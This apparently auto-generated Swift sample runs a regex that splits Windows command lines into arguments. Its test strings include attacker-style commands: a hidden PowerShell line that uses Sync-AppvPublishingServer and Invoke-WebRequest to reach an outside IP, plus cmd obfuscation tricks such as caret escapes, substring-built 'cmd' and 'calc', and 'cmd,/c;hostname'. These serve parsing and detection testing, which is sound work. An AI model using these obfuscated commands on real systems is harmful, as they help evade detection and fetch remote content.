import Foundation
// WARNING: You included a flag that Swift doesn't support: J
// Wehn this flag is set, it allows duplicated capturing group names.
// By default, Swift captures only the last value matched for a repeated capture group.
// As an alternative, the pattern can be modified to contain one capturing group per group you want to get in the result.
let pattern = ##"""
(?#\
Doc: This regex will split the commandline in arguments
Details:
The arg variable will contain all the different arguments
argument delimiters are in two categories :
whitespaces delimiters : \t \n \r \v ' '
',' : is a delimiter in the windows cmd
but it's not one in the powershell
quotation delimiters : \' \` \"
Variables:
arg : will contain each argument
Next variables can be adjusted by adding or deleting delimiters
quote_delimiters : quoted argument delimiters
whitespace_delimiters : whitespace argument delimiters
)(?#\
)(?<arg>(?#\
)(?<arg_quote>(?#\
)(?<quote_delimiters>"|'|`)(?#\
)(?:(?#\
)(?!\3)(?#\
)(?<escape>(?(?!\\)[\x00-\xFF]|[\x00-\xFF]{2}))(?#\
))*(?#\
)\3(?#\
))|(?<arg_whitespace>(?#\
)(?:(?#\
)(?!(?#\
)(?<whitespace_delimiters>\s|$)|(?#\
)(?P>quote_delimiters)(?#\
))(?#\
)(?P>escape)(?#\
))+(?#\
))(?#\
))(?#\
)(?#\
)(?#\
Related doc:
https://docs.microsoft.com/fr-fr/cpp/c-language/parsing-c-command-line-arguments?view=vs-2019
http://daviddeley.com/autohotkey/parameters/parameters.htm
)
"""##
let regex = try! NSRegularExpression(pattern: pattern, options: .anchorsMatchLines)
let testString = ##"""
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" --type=renderer /prefetch:1 "R:\Coficine\MCI\01 Activités\03 PARTICIPATIONS\2 Sociétés\1 Particip. actuelles\Monello Productions\03. Dossier client\01. KYC\Actionnariat\Actionnariat - 2018-05-03.pdf"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &{$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer \n;(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;Invoke-WebRequest -Uri http://209.97.141.246/ee/index_files/alert.css}
"UNIT TESTS :"
''
arg0\ \ \\ "arg1\"\"" "arg2\"\\""arg3 \"" 'arg4"arg4"' arg5 arg6
space_bef_and_aft__arg0 arg1 arg2 arg3
space_aft___________arg0 arg1 arg2 arg3
space_bef__________arg0 arg1 arg2 arg3
nospace_____________arg0 arg1 arg2 arg3
multispace______________arg0 arg1 arg2 arg3 arg4
C:\ProgramData\Anaconda3\python.exe C:\ProgramData\Anaconda3\cwp.py C:\ProgramData\Anaconda3 C:\ProgramData\Anaconda3\python.exe C:\ProgramData\Anaconda3\Scripts\jupyter-notebook-script.py "%USERPROFILE%/"
.
`echo `ls "/tmp"``'``'
1""3"4"
n^e^t u^s^er
cmd /c "set x=calc & echo %x% | cmd"
cmd /c "set x=c@alc & echo %x:@=mantvydas% | cmd"
\c \\ \' \" '\'\'\'\'\'\'\'\\'
'# this will take the C character from %programdata% and will launch the cmd prompt'
%programdata:~0,1%md \c "whatever"
@cmd
set pSM
PSModulePath=C:\Users\mantvydas\Documents\WindowsPowerShell\Modules;....
FOR /F "tokens=7 delims=s\\" %g IN ('set^|findstr PSM') do %g
cmd,/c;hostname
"""##
let stringRange = NSRange(location: 0, length: testString.utf16.count)
let matches = regex.matches(in: testString, range: stringRange)
var result: [[String]] = []
for match in matches {
var groups: [String] = []
for rangeIndex in 1 ..< match.numberOfRanges {
let nsRange = match.range(at: rangeIndex)
guard !NSEqualRanges(nsRange, NSMakeRange(NSNotFound, 0)) else { continue }
let string = (testString as NSString).substring(with: nsRange)
groups.append(string)
}
if !groups.isEmpty {
result.append(groups)
}
}
print(result)
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Swift 5.2, please visit: https://developer.apple.com/documentation/foundation/nsregularexpression